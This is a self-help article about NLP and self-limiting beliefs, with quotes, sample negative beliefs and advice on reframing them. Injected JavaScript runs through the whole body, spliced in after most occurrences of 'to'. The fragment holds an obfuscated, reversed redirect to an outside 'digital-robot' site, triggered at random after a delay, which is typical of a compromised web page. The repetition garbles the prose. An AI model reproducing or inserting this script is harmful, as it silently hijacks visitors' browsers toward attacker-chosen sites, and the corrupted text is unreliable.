Beliefs are important

There are lots of inspirational reminders about the importance of self-empowering beliefs.

– President Roosevelt said “Believe you can, and you’re half-way there.”
– Venus Williams said “Believe in yourself. Even if you don’t, pretend that you do, and at some point you will.”
– Wayne Dyer said “The only limits you have are the limits you believe”.

But some of them are self-limiting beliefs

And that brings us tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the other side of the coin. We also hold a lot of self-limiting beliefs.

One of the most practical aspects of NLP, is learning about the possibility tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to identify your own self-limiting beliefs that are holding you back, and then tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to burst them.

For example, many people have a deeply-held belief about their own abilities or self-worth. Without even realising it, you may then limit their choices in life, you might pass up on opportunities such as learning new skills, or taking promotion, or self-sabotage in other ways.

These kinds of beliefs are self-limiting, and it can be easy tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to feel like a victim of them. Do you ever find yourself saying things like:
– “nothing good ever happens tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to me”
– “I’m no good at this”
– “The market is saturated. There’s tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too much competition for me tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to get any business.”
– “No one wants tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to hear what I have tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to say”

It’s like telling yourself that these are facts, when in reality, they are simply beliefs. It is only the constant repetition tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to yourself that has caused them tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to take root and embed themselves in your thinking. You may even have been tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}told these beliefs when you were a child, and have never questioned them.

You can change your beliefs

And the good news about beliefs is that you can quite easily change them. Imagine taking those self-limiting beliefs above, and turning them intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to new empowering beliefs like these:
– I can influence events so that good things happen tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to me.
– I can learn and practice, and get better at this.
– This proves that there is a demand for what I do, and I can get a share of that market.
– I have a unique voice, and a unique point of view, that people will find useful and interesting.

Take a moment now tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to identify one or two of your own self-limiting beliefs, and try turning them intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to new empowering beliefs for yourself. Then keep repeating the new beliefs tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to yourself. Remind yourself daily, because it is only the repetition of any belief that fixes it in your mind. Constant repetition enables them tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to take root and embed them in your thinking.
